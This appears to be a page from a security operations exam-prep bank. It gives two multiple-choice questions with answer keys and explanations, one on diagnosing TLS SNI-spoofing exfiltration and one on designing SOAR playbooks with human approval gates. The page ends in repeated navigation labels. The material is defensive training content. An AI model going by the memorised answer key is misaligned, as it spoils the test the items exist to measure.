Based on the network security monitoring data, which of the following represents the most accurate diagnosis of the activity and the appropriate immediate action?

The telemetry indicates domain fronting or SNI spoofing used for data exfiltration to a malicious command-and-control server; the host 10.0.4.15 should be isolated immediately.

The payload indicates a database-targeted Cross-Site Scripting (XSS) attack executing client-side scripts via TLS SNI header manipulation; a WAF rule should be deployed to sanitize the SNI field.

The imbalance in byte transfer confirms that an inline deception honeypot successfully captured and contained the attack; no further incident response actions are required.

The high outbound byte volume signals a local buffer overflow vulnerability on the database server; a software vendor patch should be applied to prevent host memory corruption.

Show answer & explanation

Answer: The telemetry indicates domain fronting or SNI spoofing used for data exfiltration to a malicious command-and-control server; the host 10.0.4.15 should be isolated immediately.

Answer

The telemetry indicates domain fronting or SNI spoofing used for data exfiltration to a malicious command-and-control server; the host 10.0.4.15 should be isolated immediately.

The network security monitoring telemetry presents key indicators of encrypted data exfiltration over TCP port 443. The high volume of outbound bytes (4.8 MB) relative to inbound bytes (1.2 KB), combined with a JA3 fingerprint matching known malicious C2 software and a reverse DNS mismatch against the requested TLS SNI, confirms domain fronting / SNI spoofing. The immediate requirement in incident triage is isolating the host from the network to halt exfiltration.

Step-by-Step Solution

Analyze flow volume telemetry

Identified massive outbound data transfer (4.8 MB sent vs. 1.2 KB received), indicating active data exfiltration rather than standard operational traffic.

High ratio of sent to received data on database servers is a key indicator of compromise.

Correlate TLS headers with network intelligence

The TLS Server Name Indication (SNI) claims to be a legitimate vendor service, but the reverse DNS points to an untrusted host, and the JA3 TLS fingerprint matches a known malicious command-and-control (C2) framework.

Discrepancy between SNI hostnames and JA3 fingerprints indicates SNI spoofing or domain fronting techniques used by adversaries to bypass simple domain blocklists.

Determine containment priority

Select host containment and network isolation as the immediate incident response action.

Active data exfiltration and C2 activity require immediate containment to stop ongoing data loss before conducting root-cause analysis.

Key Concept

Network Security Monitoring & TLS Egress Anomaly Detection

Question 420Question →

An organization is updating a SOAR playbook to mitigate compromised API access keys linked to high-availability microservices. To prevent accidental operational outages on mission-critical services while maintaining rapid incident containment and enrichment, which TWO of the following playbook configurations should be implemented?

Select all that apply

Incorporate a human-in-the-loop manual approval step before executing automated account or access suspension against critical production infrastructure.

Configure the playbook to automatically trigger full network segment isolation on core identity servers immediately upon receiving a single unverified anomaly alert.

Execute temporary API session token revocation while simultaneously querying threat intelligence connectors for context enrichment.

Reclassify automated SOAR containment scripts as detective administrative controls to bypass technical authorization checks during execution.

Show answer & explanation

Answer: Incorporate a human-in-the-loop manual approval step before executing automated account or access suspension against critical production infrastructure.; Execute temporary API session token revocation while simultaneously querying threat intelligence connectors for context enrichment.

Answer

The playbook should require human-in-the-loop approval before suspending critical production assets and perform targeted API session token revocation paired with threat intelligence enrichment.

Integrating a human-in-the-loop authorization gate before modifying critical production assets prevents automated outages. Concurrently, revoking active API session tokens and gathering threat intelligence achieves rapid, focused containment while preserving surrounding microservice availability.

Step-by-Step Solution

Evaluate the risk of automated containment actions against mission-critical infrastructure.

Unconditional automated isolation of critical production services presents an unacceptably high risk of self-inflicted downtime.

Human-in-the-loop (HITL) approval gates ensure human authorization before destructive containment steps execute against core services.

Select targeted containment mechanisms with low operational blast radius.

Revoking specific API session tokens disrupts adversary access without impacting underlying host OS or service availability.

Token revocation neutralizes compromised credential misuse quickly while automated threat intelligence feeds provide context to SOC analysts.

Key Concept

SOAR Playbook Logic, Operational Risk Mitigation, and Targeted Response

Estimated Time:2m 0s

PreviousPage 21 / 32Next

Security Operations

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept

Common Mistakes

Answer

Step-by-Step Solution

Key Concept